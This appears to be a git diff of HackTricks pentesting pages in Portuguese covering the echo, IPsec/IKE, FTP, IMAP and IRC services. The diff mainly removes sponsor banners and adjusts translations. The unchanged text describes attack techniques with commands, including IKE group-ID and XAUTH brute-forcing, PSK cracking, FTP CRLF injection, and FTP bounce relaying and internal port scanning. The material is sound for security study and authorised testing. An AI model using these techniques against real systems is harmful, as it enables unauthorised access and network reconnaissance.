* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,24 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Informações Básicas
Um serviço de eco está em execução neste host. O serviço de eco foi projetado para fins de teste e medição e pode escutar em ambos os protocolos TCP e UDP. O servidor envia de volta qualquer dado que recebe, sem modificação.\
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
Info from [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Porta Padrão:** 7/tcp/udp
```
@ -51,12 +43,6 @@ Hello echo #This is the response
[CA-1996-01 Ataque de Negação de Serviço na Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -67,7 +53,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,29 +1,21 @@
# 500/udp - Pentesting IPsec/IKE VPN
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informações Básicas
**IPsec** é amplamente reconhecido como a principal tecnologia para proteger comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway da rede (acesso remoto), servindo como a espinha dorsal para soluções de VPN corporativas.
@ -95,7 +87,7 @@ Você também pode tentar forçar transformações com [**ikeforce**](https://gi
Em **DH Group: 14 = 2048-bit MODP** e **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (neste caso). O formato `--trans` é $Enc,$Hash,$Auth,$DH**
A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são fortes o suficiente. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para decifrar os códigos rapidamente. Embora custe muito dinheiro para configurar esse método, ele permite que esses países poderosos leiam os dados criptografados em tempo real se estiverem usando um grupo que não é forte (como 1.024 bits ou menor).
A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são fortes o suficiente. Especialistas acreditam que **países com muitos recursos podem facilmente quebrar a criptografia** de dados que usam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Embora custe muito dinheiro para configurar esse método, ele permite que esses países poderosos leiam os dados criptografados em tempo real se estiver usando um grupo que não é forte (como 1.024 bits ou menor).
### Fingerprinting de servidor
@ -130,7 +122,7 @@ Isso também pode ser alcançado com o script nmap _**ike-version**_
Para ser permitido capturar o hash, você precisa de uma transformação válida que suporte o modo agressivo e o ID correto (nome do grupo). Provavelmente, você não saberá o nome do grupo válido, então terá que forçá-lo.\
Para isso, eu recomendaria 2 métodos:
### Forçando o ID com ike-scan
### Forçando ID com ike-scan
Primeiramente, tente fazer uma solicitação com um ID falso tentando coletar o hash ("-P"):
```bash
@ -144,7 +136,7 @@ Mas se, como eu disse, nenhum hash for retornado, então você deve tentar forç
Este script **tentará forçar possíveis IDs** e retornará os IDs onde um handshake válido é retornado (este será um nome de grupo válido).
Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas (você deve tentar todas até que uma delas funcione corretamente).
Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
Você pode usar o [dicionário do ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [o que está em seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de nomes de grupos comuns para forçá-los:
```bash
@ -166,7 +158,7 @@ Por padrão, **ikeforce** enviará no início alguns IDs aleatórios para verifi
* O **primeiro método** é bruteforçar os nomes dos grupos **procurando** pela informação **Dead Peer Detection DPD** dos sistemas Cisco (essa informação é apenas respondida pelo servidor se o nome do grupo estiver correto).
* O **segundo método** disponível é **verificar o número de respostas enviadas a cada tentativa** porque às vezes mais pacotes são enviados quando o ID correto é usado.
* O **terceiro método** consiste em **procurar por "INVALID-ID-INFORMATION" em resposta a ID incorreto**.
* O **terceiro método** consiste em **procurar por "INVALID-ID-INFORMATION" em resposta a um ID incorreto**.
* Finalmente, se o servidor não responder nada aos cheques, **ikeforce** tentará bruteforçar o servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.\
Obviamente, o objetivo de bruteforçar o ID é obter o **PSK** quando você tem um ID válido. Então, com o **ID** e **PSK** você terá que bruteforçar o XAUTH (se estiver habilitado).
@ -199,9 +191,9 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**O modo agressivo IKE** combinado com uma **Chave Pré-Compartilhada (PSK)** é comumente empregado para **autenticação em grupo**. Este método é aumentado por **XAuth (Autenticação Estendida)**, que serve para introduzir uma camada adicional de **autenticação de usuário**. Essa autenticação normalmente utiliza serviços como **Microsoft Active Directory**, **RADIUS** ou sistemas comparáveis.
**O modo agressivo IKE** combinado com uma **Chave Pré-Compartilhada (PSK)** é comumente empregado para fins de **autenticação em grupo**. Este método é aumentado por **XAuth (Autenticação Estendida)**, que serve para introduzir uma camada adicional de **autenticação de usuário**. Essa autenticação normalmente utiliza serviços como **Microsoft Active Directory**, **RADIUS** ou sistemas comparáveis.
Ao transitar para **IKEv2**, uma mudança notável é observada onde **EAP (Protocolo de Autenticação Extensível)** é utilizado em vez de **XAuth** para o propósito de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação segura.
Ao transitar para **IKEv2**, uma mudança notável é observada onde **EAP (Protocolo de Autenticação Extensível)** é utilizado em vez de **XAuth** para o propósito de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro dos protocolos de comunicação segura.
### Captura de credenciais MitM na rede local
@ -217,7 +209,7 @@ Para forçar a senha do **XAUTH** (quando você conhece um nome de grupo válido
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Dessa forma, ikeforce tentará se conectar usando cada combinação de nome de usuário:senha.
Dessa forma, o ikeforce tentará se conectar usando cada combinação de nome de usuário:senha.
Se você encontrou uma ou várias transformações válidas, basta usá-las como nos passos anteriores.
@ -260,11 +252,6 @@ Certifique-se de que valores reais e seguros sejam usados para substituir os esp
* `port:500 IKE`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Informações Básicas
O **File Transfer Protocol (FTP)** serve como um protocolo padrão para transferência de arquivos em uma rede de computadores entre um servidor e um cliente.\
@ -35,17 +27,17 @@ PORT STATE SERVICE
```
### Conexões Ativas e Passivas
No **FTP Ativo**, o **cliente** FTP primeiro **inicia** a **conexão** de controle de sua porta N para a porta de comando do servidor FTP porta 21. O **cliente** então **escuta** a porta **N+1** e envia a porta N+1 para o servidor FTP. O **Servidor** FTP então **inicia** a **conexão** de dados, de **sua porta M para a porta N+1** do cliente FTP.
No **FTP Ativo**, o **cliente** FTP primeiro **inicia** a **conexão** de controle de sua porta N para a porta de comando do servidor FTP porta 21. O **cliente** então **escuta** a porta **N+1** e envia a porta N+1 para o servidor FTP. O **Servidor** FTP então **inicia** a **conexão** de dados, de **sua porta M para a porta N+1** do Cliente FTP.
Mas, se o cliente FTP tiver um firewall configurado que controla as conexões de dados de entrada de fora, então o FTP ativo pode ser um problema. E, uma solução viável para isso é o FTP Passivo.
Mas, se o Cliente FTP tiver um firewall configurado que controla as conexões de dados de entrada de fora, então o FTP ativo pode ser um problema. E, uma solução viável para isso é o FTP Passivo.
No **FTP Passivo**, o cliente inicia a conexão de controle de sua porta N para a porta 21 do servidor FTP. Após isso, o cliente emite um **comando passv**. O servidor então envia ao cliente um de seus números de porta M. E o **cliente** **inicia** a **conexão** de dados de **sua porta P para a porta M** do servidor FTP.
No **FTP Passivo**, o cliente inicia a conexão de controle de sua porta N para a porta 21 do Servidor FTP. Após isso, o cliente emite um **comando passv**. O servidor então envia ao cliente um de seus números de porta M. E o **cliente** **inicia** a **conexão** de dados de **sua porta P para a porta M** do Servidor FTP.
Fonte: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Depuração de Conexão
Os comandos **FTP** **`debug`** e **`trace`** podem ser usados para ver **como a comunicação está ocorrendo**.
Os comandos **FTP** **`debug`** e **`trace`** podem ser usados para ver **como está ocorrendo a comunicação**.
## Enumeração
@ -136,7 +128,7 @@ Você pode se conectar a um servidor FTP usando um navegador (como o Firefox) us
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Note que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar bytes codificados em URL duplo `%0d%0a` (neste codificado em URL duplo é `%250d%250a`) e fazer o **servidor FTP realizar ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado por usuários, realizar varredura de portas ou tentar se comunicar com outros serviços baseados em texto simples (como http).
Note que se uma **aplicação web** estiver enviando dados controlados por um usuário **diretamente para um servidor FTP**, você pode enviar bytes codificados em URL duplo `%0d%0a` (neste codificação em URL duplo é `%250d%250a`) e fazer o **servidor FTP realizar ações arbitrárias**. Uma dessas possíveis ações arbitrárias é baixar conteúdo de um servidor controlado por usuários, realizar varredura de portas ou tentar se comunicar com outros serviços baseados em texto simples (como http).
## Baixar todos os arquivos do FTP
```bash
@ -158,7 +150,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`LIST -R`** Lista recursivamente (se permitido pelo servidor)
* **`APPE /path/something.txt`** Isso indicará ao FTP para armazenar os dados recebidos de uma **conexão passiva** ou de uma **conexão PORT/EPRT** em um arquivo. Se o nome do arquivo existir, os dados serão adicionados.
* **`STOR /path/something.txt`** Como `APPE`, mas irá sobrescrever os arquivos
* **`STOU /path/something.txt`** Como `APPE`, mas se existir, não fará nada.
* **`STOU /path/something.txt`** Como `APPE`, mas se existir não fará nada.
* **`RETR /path/to/file`** Uma conexão passiva ou de porta deve ser estabelecida. Então, o servidor FTP enviará o arquivo indicado através dessa conexão
* **`REST 6`** Isso indicará ao servidor que na próxima vez que enviar algo usando `RETR` deve começar no 6º byte.
* **`TYPE i`** Define a transferência como binária
@ -176,7 +168,7 @@ Alguns servidores FTP permitem o comando PORT. Este comando pode ser usado para
Você também poderia abusar desse comportamento para fazer um servidor FTP interagir com outros protocolos. Você poderia **carregar um arquivo contendo uma solicitação HTTP** e fazer o servidor FTP vulnerável **enviá-la para um servidor HTTP arbitrário** (_talvez para adicionar um novo usuário admin?_) ou até mesmo carregar uma solicitação FTP e fazer o servidor FTP vulnerável baixar um arquivo de um servidor FTP diferente.\
A teoria é fácil:
1. **Carregue a solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você quiser falar com outro servidor HTTP ou FTP, precisa mudar de linha com `0x0d 0x0a`
1. **Carregue a solicitação (dentro de um arquivo de texto) para o servidor vulnerável.** Lembre-se de que se você quiser falar com outro servidor HTTP ou FTP, precisa mudar as linhas com `0x0d 0x0a`
2. **Use `REST X` para evitar enviar os caracteres que você não quer enviar** (talvez para carregar a solicitação dentro do arquivo você precisou colocar algum cabeçalho de imagem no início)
3. **Use `PORT` para se conectar ao servidor e serviço arbitrários**
4. **Use `RETR` para enviar a solicitação salva para o servidor.**
@ -224,15 +216,6 @@ A configuração padrão do vsFTPd pode ser encontrada em `/etc/vsftpd.conf`. Aq
* `ftp`
* `port:21`
***
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Comandos Automáticos
```
@ -292,7 +275,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Supporte o HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## FTP Bounce - Scanning
### Manual
@ -53,12 +45,6 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -69,7 +55,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Protocolo de Acesso a Mensagens da Internet
O **Protocolo de Acesso a Mensagens da Internet (IMAP)** é projetado para permitir que os usuários **acessam suas mensagens de email de qualquer local**, principalmente através de uma conexão com a Internet. Em essência, os emails são **mantidos em um servidor** em vez de serem baixados e armazenados no dispositivo pessoal de um indivíduo. Isso significa que, quando um email é acessado ou lido, isso é feito **diretamente do servidor**. Essa capacidade permite a conveniência de verificar emails de **vários dispositivos**, garantindo que nenhuma mensagem seja perdida, independentemente do dispositivo utilizado.
@ -35,7 +27,7 @@ Por padrão, o protocolo IMAP funciona em duas portas:
PORT STATE SERVICE REASON
143/tcp open imap syn-ack
```
## Coleta de banner
## Captura de banner
```bash
nc -nv <IP> 143
openssl s_client -connect <IP>:993 -quiet
@ -157,12 +149,6 @@ done
* `port:143 CAPABILITY`
* `port:993 CAPABILITY`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## Comandos Automáticos HackTricks
```
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
@ -203,7 +189,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,33 +1,20 @@
# 194,6667,6660-7000 - Pentesting IRC
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O objetivo principal do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## Informações Básicas
@ -98,17 +85,6 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
* `procurando seu nome de host`
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o motor **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -120,7 +96,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,33 +1,25 @@
# 1433 - Pentesting MSSQL - Microsoft SQL Server
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
